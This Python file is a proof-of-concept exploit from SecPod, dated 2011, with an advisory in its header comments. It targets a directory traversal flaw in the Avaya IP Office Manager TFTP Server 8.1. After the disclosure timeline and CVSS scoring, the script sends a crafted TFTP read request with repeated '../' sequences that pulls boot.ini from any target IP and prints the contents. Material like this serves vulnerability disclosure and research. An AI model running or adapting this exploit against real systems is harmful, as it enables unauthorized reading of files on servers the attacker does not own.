#!/usr/bin/python

###############################################################################
#
#Title    : Avaya IP Office Manager TFTP Server Directory Traversal Vulnerability
#Author   : Veerendra G.G from SecPod Technologies (www.secpod.com)
#Vendor   : http://www.avaya.com/usa/product/ip-office
#Advisory : http://www.avaya.com/usa/product/ip-office
#           http://secpod.org/SECPOD_Avaya-IP-Manager-TFTP-Dir-Trav.pcap
#           http://secpod.org/SECPOD_Exploit-Avaya-IP-Manager-Dir-Trav.py
#           http://secpod.org/advisories/SECPOD_Avaya_IP_Manager_TFTP_Dir_Trav.txt
#Version  : Avaya IP Office Manager TFTP Server Version 8.1
#Date     : 08/07/2011
#
################################################################################
#
#SecPod ID: 1017					25/05/2011 Issue Discovered
#                                                31/05/2011 Vendor Notified
#                                                No Response from the Vendor
#                          		        08/07/2011 Advisory Released
#					       
#
#Class: Information Disclosure			Severity: Medium
#
#
#Overview:
#---------
#Avaya IP Office Manager TFTP Server Version 8.1 is prone to a Directory
#Traversal vulnerability.
#
#
#Technical Description:
#----------------------
#The vulnerability is caused due to improper validation to Read Request
#Parameter containing '../' sequences, which allows attackers to read
#arbitrary files via directory traversal attacks.
#
#
#Impact:
#--------
#Successful exploitation could allow an attacker to to obtain sensitive
#information, which can lead to launching further attacks.
#
#
#Affected Software:
#------------------
#Avaya IP Office Manager TFTP Server Version 8.1
#
#
#Tested on:
#-----------
#Avaya IP Office Manager TFTP Server Version 8.1 on Windows XP SP3.
#
#
#References:
#-----------
#http://secpod.org/blog/?p=225
#http://www.avaya.com/usa/product/ip-office
#http://secpod.org/SECPOD_Avaya-IP-Manager-TFTP-Dir-Trav.pcap
#http://secpod.org/SECPOD_Exploit-Avaya-IP-Manager-Dir-Trav.py
#http://secpod.org/advisories/SECPOD_Avaya_IP_Manager_TFTP_Dir_Trav.txt
#
#
#Proof of Concept:
#----------------
#http://secpod.org/SECPOD_Exploit-Avaya-IP-Manager-Dir-Trav.py
#http://secpod.org/SECPOD_Avaya-IP-Manager-TFTP-Dir-Trav.pcap
#
#
#Solution:
#----------
#Not available
#
#
#Risk Factor:
#-------------
#    CVSS Score Report: 
#        ACCESS_VECTOR          = NETWORK 
#        ACCESS_COMPLEXITY      = LOW 
#        AUTHENTICATION         = NOT_REQUIRED 
#        CONFIDENTIALITY_IMPACT = PARTIAL 
#        INTEGRITY_IMPACT       = NONE 
#        AVAILABILITY_IMPACT    = NONE 
#        EXPLOITABILITY         = PROOF_OF_CONCEPT 
#        REMEDIATION_LEVEL      = UNAVAILABLE 
#        REPORT_CONFIDENCE      = CONFIRMED 
#        CVSS Base Score        = 5.0 (AV:N/AC:L/Au:NR/C:P/I:N/A:N) 
#        CVSS Temporal Score    = 4.5 
#        Risk factor            = Medium 
#
#
#Credits:
#--------
#Veerendra G.G of SecPod Technologies has been credited with the discovery of
#this vulnerability.
#
#
#SECPOD_Exploit-Avaya-IP-Manager-Dir-Trav.py:
#

##############################################################################
# Exploit   : http://secpod.com/blog/?p=225
#             http://secpod.org/Exploit-Avaya-IP-Manager-Dir-Trav.py
#             http://secpod.org/advisories/SecPod_Avaya_IP_Manager_TFTP_Dir_Trav.txt
# Author    : Veerendra G.G from SecPod Technologies (www.secpod.com)
#
# Get File content using Directory Traversal Attack
# Tested against Avaya Office IP Manager 8.1
##############################################################################

def sendPacket(HOST, PORT, data):
    '''
    Sends UDP Data to a Particular Host on a Specified Port
    with a Given Data and Return the Response
    '''
    udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_sock.sendto(data, (HOST, PORT))
    data = udp_sock.recv(1024)
    udp_sock.close()
    return data

if __name__ == "__main__":

    if len(sys.argv) < 2:
        print "\tUsage: python exploit.py target_ip"
        print "\tExample : python exploit.py 127.0.0.1"
        print "\tExiting..."
        sys.exit(0)

    HOST = sys.argv[1]       			## The Server IP
    PORT = 69                			## Default TFTP port

    data = "\x00\x01"        			## TFTP Read Request
    data += "../" * 10 + "boot.ini" + "\x00"	## Read boot.ini file using directory traversal
    data += "octet\x00"				## TFTP Type

    rec_data = sendPacket(HOST, PORT, data)
    print "Data Found on the target : %s " %(HOST)
    print rec_data.strip()